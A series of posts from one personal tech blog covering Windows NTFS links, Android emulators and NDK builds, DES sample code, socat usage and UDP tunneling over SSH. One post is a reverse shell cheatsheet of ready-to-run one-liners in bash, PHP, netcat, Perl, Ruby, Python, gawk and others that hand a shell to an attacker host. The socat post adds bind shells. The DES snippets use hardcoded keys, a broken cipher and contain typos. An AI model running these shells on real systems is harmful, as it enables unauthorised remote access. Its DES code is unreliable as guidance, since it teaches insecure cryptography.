Linking in Windows NTFS (Hard Link, Junction, Symbolic Link)

There is a misconception in some community that Windows doesn’t support hard link and symbolic link as in Unix world. Most of us think that Windows OS only support link (with .lnk extension) and I’ve seen that there are also several articles point out that symbolic linking in Unix world is closely resemble to Windows .lnk file.

Though the concept is not very similar, we can say that Windows has three type of linking: hard link, junction, and symbolic link. Before we go through them, let’s give the concept of hard link and symbolic link (soft link).

Links in Unix

In Unix world, symbolic link (also termed as soft link) is a special kind of file that points to another file. Well, hard link too is a special kind of file that points to another file. The difference between two is symbolic link does not contain the data in the target file. It simply points to another entry somewhere in the file system. The difference gives symbolic link certain qualities that hard links does not offer, such as the ability to link to directories, or to files on remote computers network through NFS. When we delete a target file, symbolic links to the file become unusable. Whereas the hard links preserve the contents of the file. So we can say that hard link is essentially a label or another name assigned to a file. Operation executed upon any of these “different names” will be operated upon the original file. When the original file is deleted, the hard link will still persist. You can think it as a reference count.

In Unix, these commands create symbolic link and hard link respectively.

# Symbolic Link
ln -s target link

# Hard Link
ln target link

Concept of Links in Windows

Now let’s go to the Windows world. The definition of hard link and symbolic link is nearly similar.

A hard link is the file system representation of a file by which more than one path references a single file in the same volume.MSDN states that any changes to the file are instantly visible to applications that access it through the hard links that reference it. Changes in the original file will be reflected in every hard link made to that file. Thus, if there are multiple hard link point to a READ-ONLY file and we want to delete a particular hard link, then after delete it we need to reset the READONLY attribute to any of remaining hard link (or original file).

A symbolic link is a file-system object that points to another file system object. The object being pointed to is called the target. They are transparent to users; the links appear as normal file or directories and can be acted upon by the user or application in exactly the same manner.

Then, what is junction?

Junction (Microsoft refer it as soft link) is similar to hard link. Indeed it is a hard link. It differs from a hard link in that the storage object it references are separate directories and a junction can link directories located on different local volumes on the same computer. Otherwise it is identical to hard link.

The Command (Utility)

Hard Link

mklink /H link target

Symbolic Link

# File Symbolic Link
mklink link target

# Directory Symbolic Link
mklink /D link target

Junction

mklink /J link target

Create Link Programmatically

Hard Link: CreateHardLink

Symbolic Link: CreateSymbolicLink

Misc

So what’s the different of these links with .lnk file?

Well we need to see the representation. Links are file system object while the .lnk file is a file. The .lnk file is a file describe the redirection and any extra operation need to perform when it is executed. The links are only redirection to the file.

To feed our brain, NTFS has many advanced options that is unknown to us as end-user.

The post Linking in Windows NTFS (Hard Link, Junction, Symbolic Link) appeared first on Xathrya.ID.

List of Lightweight Android Emulator

Android is a popular operating system for handheld and now dominating the market share. Though the there are already exists various cheap devices running android, many of us want want to run android not on top of android device, but our PC. I myself has two reasons for this: first, to play some games without open my device, and second is to test my application.

Fortunately, there are plenty of them available, from free to paid one. This article is not an exhaust list of android emulator, but serve as a purpose as a documentation of emulator I had known and taste (some of them).

The Basic Concept

Any of the software / application we list here is an emulator. So what is emulator?

First we need to take into account that android is different platform to our PC. Android is an operating system for mobile device such as mobile phone, tablet, smart TV, etc. Android device has many different hardware variation as each manufacture can ship any hardware they like but android ensure that the platform is viewed as one uniform. Android abstract the complicated and give it as a single platform. As a platform, android has different component those are different to PC (typically a Windows PC). For example the interface and the application format, they are different. So to make android application running on top our Windows PC, there should be something that can bridge this two platform, and that would be an emulator.

Simply, an emulator is a hardware or software that enables one platform (called host) to behave like another platform (called guest). These android emulator can run the application simply by providing environment that looks like the real device.

Android, in Android SDK, has ship an official emulator for testing. But this emulator is proven to be slow and need much time for startup. So there are many people starts to create some lightweight android emulators that can boot android faster and consume less resource, compared to official one.

You can also see other article about Inside the Android Emulator.

The List

  1. Nox App Player
  2. BlueStacks
  3. GenyMotion
  4. Andyroid
  5. YouWave
  6. Jar of Beans
  7. Manymo
  8. Xamarin Android Player

Nox App Player

Site: http://en.bignox.com/

Definitely my favorite. It is one of the best options available to emulate android on PC. It also supports wide range of Android Gaming controls. And the best part of this, Nox App Player support most of the top android games. This full-fledged android emulator will need us to set some things, such as google accounts.

BlueStacks

Site: http://www.bluestacks.com/

A big player in this emulation world. BlueStacks is mature enough and support almost all of android games and apps that play store is offering. Some sites make it as the first option to emulate android.

 

GenyMotion

Site: https://www.genymotion.com/

What’s interesting for me is their GenyMotion on demand, aside of their android emulator on our local PC. It is an Android AMs on Amazon EC2 infrastructure. While the local emulator is proven fast, it also offer graphic acceleration and use x86 as its base, which is not different to our PC.

Andyroid

Site: http://www.andyroid.net/

YouWave

Site: https://youwave.com/

Jar of Beans

Site: http://forum.xda-developers.com/showthread.php?t=1975675

From XDA forum, home of android hackers. It is an android jelly beans emulator and allows us to do easy installation and configuration. It supports multi user in the form of profile and enables us to customize our own settings. We can also create Virtual SD card. However, this project is officially discontinued so use it wisely.

Manymo

Site: https://www.manymo.com/

They said Manymo is a better emulator. Unlike other emulator, Manymo is an in-browser emulator and support multiple android versions. It means, you need no installation, you only launch the emulator you need. Their target audience is developer, which wants to eliminates the tedious task by providing a facility to test apps on different android version without having thoses devices. They say it’s lightweight as the actual computation is held on their end but you need stable internet connection to use it.

Xamarin Android Player

Site: https://www.xamarin.com/

Xamarin specialize itself in mobile application development. They create SDK which makes us able to deliver an application in native Android, iOS, and Windows platform. One of their suite is their emulator.

 

Other

There are other alternative way to run android on PC.

The post List of Lightweight Android Emulator appeared first on Xathrya.ID.

Using Stand Alone Android NDK Compiler

Android is an operating system for various mobile device, such as mobile phone, tablet, smart TV, etc. The power of android comes from the use of a process virtual machine, dubbed as Dalvik Virtual Machine (DalvikVM) and later Android Run Time (ART), to abstract complicated and varying modules. You write in Java, compile it, and android environment will run it regardless of whatever hardware it has. It guarantees portability but for us. But if you want to write in native code, android provide us with NDK (Native Development Kit).

The product of NDK is a native code, which will be invoked by Android application (written in java) by JNI means.

There are three ways to use Android NDK as far as I know. This article will discuss all of them. But before it, we need to know some background information to let you know what happen behind the scene.

Obtaining NDK

NDK is free for download. You can download it from this official link.There are four platform available (Windows 32-bit, Windows 64-bit, Mac OS X, Linux 64-bit). Choose the one suitable for your platform. These packages are archived using zip. You can extract them with your favorite extractor / zip program and place it to any directory. Make sure they are invokable or can be called from command line. You can achieve this by setting the environment variable or PATH in your respective platform.

If the directory is mentioned, we will refer it as $NDK.

Target Platform

Android has came to various platform. ARM/ARM64, x86/x86-64, MIPS/MIPS64. Your mobile device platform is your target so you need to know and make sure what platform you face. In most case, ARM is sufficient as it is currently dominating the mobile system’s market. But again, make sure you know the platform. You can achieve it by reading the datasheet or information provided by the manufacturer.

Android NDK use GCC infrastructure. So for the platform you chose it will have the triplet which indicating the platform. You can verify it here.

ArchitectureToolchain NameToolchain Prefix
ARMarm-linux-androideabi-VERSIONarm-linux-androideabi-
ARM64 (AARCH64)aarch64-linux-androideabi-VERSIONaarch64-linux-androideabi-
MIPSmipsel-linux-androideabi-VERSIONmipsel-linux-android-
MIPS64mips64el-linux-androideabi-VERSIONmips64el-linux-android-
x86x86-linux-androideabi-VERSIONi686-linux-android-
x86_64x86_64-linux-androideabi-VERSIONx86_64-linux-android-

The toolchain is located at $NDK/toolchains

Sysroot and Target API

Sysroot is a directory containing the system headers and libraries for target. To define sysroot we must know the Android API level we want to target. The Android API levels reside under $NDK/platforms/. Fortunately, unlike SDK, android has shipped all the supported API level so downloading the current NDK is recommended.

Building

Way 1: Use Makefile

In GNU world we know Makefile. Makefile is a small script that is used by “make” command to automatically configure and build the application. It can be thought as a configuration script. It is declarative so we need only declare some parts, such as include directory, sources file, and output then we invoke the makefile to automatically build it without needed to compile each file by yourself.

In android, we have Android.mk and Application.mk for this purpose. The Android.mk file is useful for defining and overriding project-wide settings. It must resides in our project’s $PROJECT/jni/ directory, and describes sources and libraries we use. The Application.mk is placed under directory of $NDK/apps/ directory.

For example we have these files

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := foo
LOCAL_SRC_FILES := foo.c

include $(BUILD_EXECUTABLE)

APP_ABI: armeabi armeabi-v7a

Then we can invoke the build process as this.

ndk-build

The NDK will give output such as this when build is in process.

[armeabi] Compile thumb  : foo <= foo.c
[armeabi] Executable     : foo
[armeabi] Install        : foo => libs/armeabi/foo
[armeabi-v7a] Compile thumb  : foo <= foo.c
[armeabi-v7a] Executable     : foo
[armeabi-v7a] Install        : foo => libs/armeabi-v7a/foo

Way 2: Use compiler Directly

Know the platform we face and it’s API level. To use this way, we need to define the sysroot. The specific invokation will depend on your OS, but generally we need to define a SYSROOT variable which point to our sysroot and then invoking the compiler.

Use this code for example.

int main()
{
   return 0;
}

Windows

Set these once before compiling.

SET SYSROOT=%NDK%\platforms\android-22\arch-arm
SET TPATH=%NDK%\toolchains\arm-linux-androideabi-4.9\prebuilt\windows-x86_64\bin
SET CC=%TPATH%\arm-linux-androideabi-gcc.exe --sysroot=%SYSROOT%

and use this for compiling

%CC% -o code.o code.c

Linux

Set these once before compiling.

export SYSROOT=$NDK/platforms/android-22/arch-arm
export TPATH=$NDK/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin
export CC=$TPATH/arm-linux-androideabi-gcc --sysroot=$SYSROOT

and use this for compiling

$CC -o code.o code.c

Mac OS X

Set these once before compiling.

export SYSROOT=$NDK/platforms/android-22/arch-arm
export TPATH=$NDK/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin
export CC=$TPATH/arm-linux-androideabi-gcc --sysroot=$SYSROOT

and use this for compiling

$CC -o code.o code.c

Way 3: Use Customized Toolchain

NDK provides a wrapper. This is useful if we want to invoke command without necessary using ndk-build. The make-standalone-toolchain.sh script is provided to perform a customiezed toolchain installation from command line. The script is located in $NDK/build/tools/ and unfortunately no windows’ .bat version available.

To use it, we can invoke this command:

$NDK/build/tools/make-standalone-toolchain.sh --arch=arm --platform=android-22 --install-dir=/tmp/my-android-toolchain

The wrapper is created in /tmp/my-android/toolchain/ which contain copy of android-22/arch-arm sysroot and the toolchain binaries for 32-bit ARM architecture. This wrapper doesn’t depend on host so we can place it in any location or even move it to any location.

To invoke the wrapper

export PATH=/tmp/my-android-toolchain/bin:$PATH
export CC=arm-linux-androideabi-gcc
export CXX=arm-linux-androideabi-g++

and use it as usual.

The post Using Stand Alone Android NDK Compiler appeared first on Xathrya.ID.

Using DES Algorithm in Various Languages

Data Encryption Standard (DES) or should be Data Encryption Algorithm, is a symmetric-key algorithm for the encryption of electronic data. Although this algorithm is now considered as insecure, it was highly influental in the advancement of modern cryptography. Most course on cryptography still present DES when they are discussing about block cipher especially symmetric one.

This article will demonstrate how to use DES for encrypt and decrypt content in various programming language. The snippet code here should be platform independent unless said otherwise. The implementation will be based on library or framework for respective programming language. If there are more than one implementation, we will divide the section for each implementation.

If you need information about specific detail in DES, go to online course such as this

The Implementation

Implementation: C#

In C# implementation, each algorithm is provided by a service provider. All operations should be done in byte array, therefore we have some string and byte array conversion in some place.

The key can be an input from user or generated by you. Just remember to use byte array.

// Library
using System.Text;
using System.Security.Cryptography;

// Key and Initialization Vector
byte[] key = ASCIIEncoding.ASCII.GetBytes("12345678");
byte[] iv  = ASCIIEncoding.ASCII.GetBytes("01234567");

DESCryptoServiceProvider crypto = new DESCryptoServiceProvider();

// Tweak the provider
crypto.Key = key;
crypto.Mode = CipherMode.CBC;    // Options: ECB, CFB

The following is using stream for manipulating content.

// Encrypt
ICryptoTransofrm transform = crypto.CreateEncryptor();
MemoryStream memStream = new MemoryStream();
CryptoStream cryStream = new CryptoStream(memStream, transform, CryptoStreamMode.Write);
StreamWriter writer = new StreamWriter(cryStream);
writer.Write(plaintext);
writer.Flush();
cryStream.FlushFinalBlock();
writer.Flush();
byte[] ciphertext = memStream.GetBuffer();


// Decrypt
ICryptoTransform transform = crypto.CreateDecryptor();
MemoryStream memStream = new MemoryStream(ciphertext);
CryptoStream cryStream = new CryptoStream(memStream, transform, CryptoStreamMode.Read);
StreamReader reader = new StreamReader(cryStream);
string plaintext = reader.ReadToEnd();

This one is straightforward implementation without utilizing stream

// Encrypt
byte[] buff = ASCIIEncoding.ASCII.GetBytes(plaintext);
crypto.CreateEncryptor().TransformFinalBlock(buff, 0, buff.Length);


// Decrypt
byte[] buff = ASCIIEncoding.ASCII.GetBytes(ciphertext);
crypto.CreateDecryptor().TransformFinalBlock(buff, 0, buff.Length);

Implementation: Java

The java implementation is called JCE (Java Cryptography Extension). All operations should be done in byte array, therefore we have some string and byte array conversion in some place.

// Library
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.KeyGenerator;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;

In this case we can generate a key or using our own key.

// Key generator
KeyGenerator keygen = KeyGenerator.getInstance("DES");
SecretKey key = keygen.generateKey();


// Using own key
String strkey = "12345678";
DESKeySpec dks = new DESKeySpec(strkey.getBytes());
SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
SecretKey key = skf.generateSecret(dks);

Creating cipher instance from Cipher class, specifying some information such as algorithm name, mode, and padding scheme. The last two are optional. All should be separated by a slash.

// Encrypt
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS7Padding");
byte[] text = plaintext.getBytes();
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] result = cipher.doFinal(text);


// Decrypt
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS7Padding");
byte[] text = ciphertext.getBytes();
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] result = cipher.doFinal(text);

Implementation: Visual Basic (VB) .NET

Actually, VB.NET implementation is similar to C# one. Each algorithm is provided by a service provider. All operations should be done in byte array, therefore we have some string and byte array conversion in some place.

The key can be an input from user or generated by you. Just remember to use byte array.

// Library
Imports System.Security.Cryptography;

// Key and Initialization Vector
Dim key() As Byte = System.Text.Encoding.Unicode.GetBytes("12345678");
Dim iv()  As Byte = System.Text.Encoding.Unicode.GetBytes("01234567"); 

Dim crypto As DESCryptoServiceProvider = new DESCryptoServiceProvider; // Tweak the provider 
crypto.Key = key;
crypto.Mode = CipherMode.CBC; // Options: ECB, CFB

The following is using stream for manipulating content.

// Encrypt
Dim transform As ICryptoTransform = crypto.CreateEncryptor();
Dim memStream As New System.IO.MemoryStream;
Dim cryStream As New CryptoStream(memStream, transform, CryptoStreamMode.Write);
Dim text() As Byte = System.Text.Encoding.Unicode.GetBytes(plaintext);

cryStream.Write(text,0, text.Length)
cryStream.FlushFinalBlock()

Dim result() As Byte = memStream.ToArray


// Decrypt
Dim transform As ICryptoTransform = crypto.CreateDecryptor();
Dim memStream As New System.IO.MemoryStream;
Dim cryStream As New CryptoStream(memStream, transform, CryptoStreamMode.Write);

cryStream.Write(ciphertext,0, ciphertext.Length)
cryStream.FlushFinalBlock()

Dim result() As Byte = memStream.ToArray

 

The post Using DES Algorithm in Various Languages appeared first on Xathrya.ID.

DracOs Workshop – DracOs Forensic Flavor!

Last week I delivered a presentation on seminar and workshop in Yogyakarta, Indonesia. The main theme is about digital forensic. This is the first day (seminar) slide where I give a general overview about dracos and digital forensic. Our vision is to make dracOs as a powerful linux distribution for cyber security. Digital forensic is one of area we had set as our goal. Here in this seminar we gave some insight about what happen in development process, current state of dracOs (in digital forensic), and the next plan.

You can see and download the slides freely. You are free to use the slides and spread it as you like. If you have a question you can direct your question to me.

Best regards,

Satria Ady Pradana.

The post DracOs Workshop – DracOs Forensic Flavor! appeared first on Xathrya.ID.

Sister Site

Hi, Xathrya’s here.

Two years ago I was palling to spin off some sister sites. It’s not abandoned yet, just forgotten for awhile. This time, I will gradually maintained them as well as this main site.

Again, why should I create them and not using this site? At first I don’t have particular reason. Really I just want to create it and organize focused materials on them while maintaining broader things here. But now I add a new goal. To build community with people sharing about mutual interest.

But the main fact: it sounds cool to collect all domain related to yourself as a single name :p

So far, the sister sites are not changes. The main site will acts as umbrella project. These sisters will be part of NEST, which again it sounds cool. Currently I’m searching for contributor and content writers to help me direct the sites. I plan not to palce ads to these sites as well as main site.

OK, so here is the list:

Xathrya’s CF

Xathrya’s CF or Xathrya’s CodeFrontier, focus on programming, algorithm, code, and also competitive programming.

Things you need to know:

  • No, it’s not about Online Judge.
  • It’s also not about code repository.
  • Sometimes it will discuss software engineering, but not much.
  • No I’m not good coder as IOI or ICPC coder do or that kind of stuffs, nor reach their level.

I set this site as a place for me to write article and stuffs related to programming. The place where I can learn and share what I know about programmings. The place where I can have fun with programming.

Xathrya’s GA

Xathrya’s GA

OK, I don’t know what to do yet.

Xathrya’s GQ

Xathrya’s GQ

Again, still don’t know yet.

Xathrya’s TK

Xathrya’s TK.

Yes, again.

Xathrya’s ML

Xathrya’s ML or Xathrya’s Malware Labs focus on malware dissects, analysis, and reverse engineering. A free knowledge sharing about malware.

Also, watch out, I don’t take any responsible.

End of News

For the three sites (.GA, .GQ, and .TK) I will think something useful. When time comes, I will update this article.

Thanks for your support and let me know if you have idea for making this site better. Or maybe you want to suggest me a name?

The post Sister Site appeared first on Xathrya.ID.

Reverse Shell Cheatsheet

During penetration testing, we might be lucky enough to exploit a command execution vulnerability. Soon, we want and interactive shell to penetrate deeper. Some approach involving “login” mechanism, such as add new account / SSH key / .rhosts file. However if these approach is not viable then hop would be shell, either reverse shell or binding shell to a TCP port. As stated in title, we will discussing the former.

Below we curate reverse shells that use various programming language or tools on target machine.

Listening Home

Most network firewall egress filters allow

  • http (tcp port 80)
  • https (tcp port 443)
  • dns (tcp/udp port 53)
  • smtp (tcp port 53)
  • ping (icmp requests and echo replies)

While it’s not always be true, it can be our initial attempt to set listening socket to one of those ports. Remember that reverse shell need a “home” or something in our machine that listen and communicate with reverse shell.

The simplest trick in our disposal is using netcat to listen on socket. Most likely netcat is installed by default.

nc -vlp 13510

Or if we are using socat, we can use this.

socat READLINE,history:/tmp/history.cmds TCP4-LISTEN:13510

or we can create a redirectory on public faced machine which will give the traffic to our system.

Reverse Shell

Bash

exec 5<>/dev/tcp/10.0.0.1/13510
cat <&5 | while read line; do $line 2>&5 >&5; done

bash -i >& /dev/tcp/10.0.0.1/13510 0>&1

exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/10.0.0.1/13510; sh <&196 >&196 2>&196

TCLsh

#!/usr/bin/tclsh
set s [socket <IP> <PORT>];
while {42} {
  puts -nonewline $s "shell>";
  flush $s;
  gets $s c;
  set e "exec $c";
  if {![catch {set r [eval $e]} err]} {
    puts $s $r;
  }
  flush $s;
}
close $s;

echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

PHP

php -r '$sock=fsockopen("10.0.0.1",13510);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",13510);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",13510);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("10.0.0.1",13510);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("10.0.0.1",13510);popen("/bin/sh -i <&3 >&3 2>&3");'

Netcat

nc -e /bin/sh 10.0.0.1 13510

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 13510 >/tmp/f

/bin/sh | nc 10.0.0.1 13510

Socat

socat TCP:10.0.0.1:13510 EXEC:/bin/bash

socat OPENSSL:10.0.0.1:13510 EXEC:/bin/bash,pty

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 0/tmp/p
telnet 10.0.0.1 80 | /bin/bash | telnet 10.0.0.1 0 443

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=13510;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

for Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:13510");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",13510).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","13510");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e "c=TCPSocket.new("10.0.0.1","13510");while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/13510;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk

#!/usr/bin/awk -f
BEGIN {
   s = "/inet/tcp/0/10.0.0.1/13510"
   while(42) {
      do{
         printf "shell>" |& s
         s |& getline c
         if(c){
            while ((c |& getline) > 0)
               print $0 |& s
            close(c)
         }
      } while(c != "exit")
      close(s)
   }
}

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/13510"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

xterm

one of the simplest reverse shell.

xterm -display :13510

to catch incoming forms of reverse shell in xterm session

xterm -display 10.0.0.1:1
Xnest :1

 

The post Reverse Shell Cheatsheet appeared first on Xathrya.ID.

Socat Cheatsheet

Socat, a powerful tools you should have in you arsenal. Some say socat is another swiss army knife beside netcat. It is a command line based utility that establishes two bidirectional byte streams and transfer data between them. Socat has been long used for creating a simple forwarder. But, did you know that we can do more than that?

Basic Knowledge

Basically socat is a tool to manipulate sockets. To give you a hint, socat comes from socket and cat.

The idea of sockets is too restrictive. Speaking socat we should speaks in the level of “data channel”. It can be combinations of:

  • a file
  • a pipe
  • a device (ex: a serial line)
  • a socket (IPv4, IPv6, raw, TCP, UDP, SSL)
  • a FD (STDIN, STDOUT)
  • a program or script

Now socat has a different syntax on what you are used to with netcat or other standard unix tools. Here is the simple syntax:

socat [options] <channel> <channel>

both channel should be provided. The channel should be like this:

<protocol>:<ip>:<port>

All you need to remember is: socat is bidirectional. It is like a pipe so there is no strict definition of which one should be source or destination. Both address can have src/dst role.

Tips and Trick

Now, come to our actual topic. For the sake of simplicity, we will pretend there are two distinct hosts namely HOST-L and HOST-R.These hosts can be anywhere with any IP. In most case HOST-L is our local machine while HOST-R is remote machine. On most case we will use port 13510 and 18210 as example.

Let’s see our catalog:

  • Basic network connection
    • Connect to remote machine
    • Listening to a socket
    • UDP traffic
    • Execute program when connection come
    • SSLify connection
    • Make a tunnel
    • Make a tunnel via proxy
  • File transfer
    • Display content of file to standard output
    • Create and write to a file
    • Transfer file
  • UDP tunneling through SSH connection
  • Local serial line
  • Get HTTP content without browser

socat TCP-LISTEN:13510 -

socat - TCP-LISTEN:13510

socat - UDP-LISTEN:13510
socat - UDP:HOST-R:13510

For example, shell.

socat TCP-LISTEN:13510 EXEC:"/bin/bash"

for multiple connection

socat -L TCP-LISTEN:13510 EXEC:/bin/bash

we also have SYSTEM address, which uses the system() call rather than a call to exec(). We can do something like this (something netcat can’t do).

socat TCP-LISTEN:2323,reuseaddr SYSTEM:'echo $HOME; ls -la'

In short, strip incoming SSL to plain traffic.

socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=cert.pem,cafile=client.crt TCP4-CONNECT:HOST-L:80

– Make a tunnel

socat TCP4-LISTEN:13510,reuseaddr,fork TCP:xathrya.id:22

– Make a tunnel via proxy

socat TCP4-LISTEN:13510,reuseaddr,fork PROXY:certain.proxy.id:xathrya.id22,proxyport=3128,proxyauth=user:pass

address can be a file. Thus directive FILE: is used to read content of file.txt and then pipe it.

socat -u STDIN OPEN:file.txt,creat,trunc

– Transfer file

and as you might expect, pipe a file to remote host.

HOST-L# socat FILE:file.txt TCP:HOST-R:13510
HOST-R# socat TCP-LISTEN:13510 OPEN:file.txt,creat,trunc

– UDP tunneling through SSH connection

see this article.

LOCAL# ssh -L 13510:LOCAL:13510 SERVER
SERVER# socat tcp4-listen:13510,reuseaddr,fork UDP:NAMESERVER:53 
LOCAL# socat -T15 udp4-recvfrom:53,reuseaddr,fork tcp:LOCAL:13510

– Local serial line

Use as a local serial line. For example, to configure a network device, modem, or embedded device without a terminal emulator.

socat \
READLINE,history:/tmp/serial.cmds \
OPEN:/dev/ttyS0,ispeed=9600,ospeed=9600,crnl,raw,sane,echo=false

READLINE data channel use GNU readline to allow editing and reusing input lines like a classic shell.

– Grab some HTTP content without a browser

# cat <<EOF | socat - TCP4:xathrya.id:80
GET / HTTP/1.1
Host: xathrya.id

EOF

GET to EOF is something we need to type in.

 

The post Socat Cheatsheet appeared first on Xathrya.ID.

UDP Tunneling Through SSH Connection

Imagine you are in a situation where you are using ISP which do censorship based on DNS. We might use free DNS service but quite often ISP will hijack the traffic and redirect them to their DNS. Another approach is using tool which transfer DNS traffic on top of encrypted channel, for example dnscrypt. However in this article we won’t use this approach. I will give insight about another approach, doing it by ourselves.

We will have three entities involved:

  • SERVER
  • LOCAL
  • NAMESERVER

SERVER is an endpoint of SSH tunnel. NAMESERVER is DNS server, which we will contact. It can be a internal DNS server on SERVER’s network, or it can be SERVER itself. LOCAL is our local machine.

The idea is simple:

  • creating a SSH tunnel between LOCAL and SERVER
  • setup TCP to UDP forward on SERVER
  • setup UDP to TCP forward on LOCAL

Create SSH Tunnel

On LOCAL, connect to SERVER by SSH. We need additional -L option so that SSH will do TCP port forwarding.

LOCAL# ssh -L 13510:LOCAL:13511 SERVER

This will allow TCP connection to port 13510 of local machine to be forwarded to the port number 13511 on SERVER. Of course, replace LOCAL and SERVER as we need.

Setup TCP to UDP Forward on SERVER

On the server we open listener on port 13511 which will forward data to UDP port 53 of specified IP, or NAMESERVER to be precise. There are two approach, whether you want to use netcat or socat.

Netcat

We need to create a fifo. The fifo is necessary to have two-way communication between two channels. A pipe won’t do because it only transfer data from STDOUT of left process to STDIN of right process.

SERVER# mkfifo /tmp/tunsshfifo
SERVER# nc -lp 13511 < /tmp/tunsshfifo | nc -u NAMESERVER 53 > /tmp/tunsshfifo

This will have bidirectional communication, from SERVER:13511 to NAMESERVER:53 and vice-versa

Socat

Socat is bidirectional by nature, so we don’t need to create a fifo.

SERVER# socat TCP4-LISTEN:13511,reuseaddr,fork UDP:NAMESERVER:53

see socat cheatsheet for more info on socat capability.

Setup UDP to TCP Forward on LOCAL

On LOCAL we need a privilege access to bind on port 53. Other than that, it’s only bit opposite of what we have done on SERVER.

Netcat

LOCAL# mkfifo /tmp/tunsshfifo
LOCAL# sudo nc -lup 53 < /tmp/tunsshfifo | nc localhost 13510 > /tmp/tunsshfifo

This will have bidirectional communication, from LOCAL:53 to LOCAL:13510 and vice-versa

Socat

Again, socat is bidirectional by nature.

LOCAL# socat -T15 UDP4-RECVFROM:53,reuseaddr,fork TCP:localhost:13510

see socat cheatsheet for more info on socat capability.

Testing

As mentioned, our traffic now flow like this LOCAL:53 – LOCAL:13510 – SSH TUNNEL – SERVER:13511 – NAMESERVER:53 for request. To test DNS service on local machine, use host

host xathrya.id 127.0.0.1

Cheers!

The post UDP Tunneling Through SSH Connection appeared first on Xathrya.ID.

DracOS Environment – My Build Lab

My role on team require me to build specific environment to do development. As you know DracOS is a LFS-based linux distribution, means we build it from ground up. We are not remastering or modify another distro. A pure linux tailored for our need.

My development lab is simple. All the build is done on virtual machine, I choose VirtualBox. Two virtual machines are needed. The first VM is Builder while the second one is Target. The Target is the final product of DracOS which can be boot on (theoretically) any environment. So Target will be a VM for running tests. On development process, Target would be mounted to Builder. Builder will do all the works. Basically Builder will build two things: tools and Target.

In this article I will describe the setting I use to create build environment (version 1). This version has not integrated with much stuffs but works for first phase.

Virtual Machines Specification

Builder

  • Arch Linux template
  • Processors: 4 CPUs
  • RAM 4096 MB (4GB)
  • HDD
    • /dev/sda (8GB) Builder.vdi
      • /dev/sda1 – / (4GB) ext4
      • /dev/sda2 – (1GB) swap
      • /dev/sda3 – /tools (3GB) ext4
    • /dev/sdb  (mounted Target.vdi)

Target

  • Arch Linux template
  • Processors 1 CPUs
  • RAM 1024 MB (1GB)
  • HDD
    • /dev/sda (20GB) Target.vdi
      • /dev/sda1 – / (10GB) ext4 for 64bit branch
      • /dev/sda2 – / (10GB) ext4 for 32bit branch

As you see, Target will be mounted to Builder.

I choose Arch Linux because I need lightweight distro to do the job.

At this point, my lab is deviate a little from LFS build environment. The LFS guide recommended to make a partition for LFS with tools as a part of LFS partition. In my lab, I separate both tools and sources in Builder machine and bind them to Target if necessary. This way I won’t need to remove things.

Setup Target

The setup we do is to create proper partition. I know we could do this on Builder, but I decide to separate the two things so we can clearly see each roles and functions.

Boot ArchLinux ISO. Once we are prompted, run fdisk to partition.

target# fdisk /dev/sda

My final partition layout would be like this

target# fdisk -l /dev/sda
Disk /dev/sda: 20GiB, 21474836480 bytes, 41943040 sectors
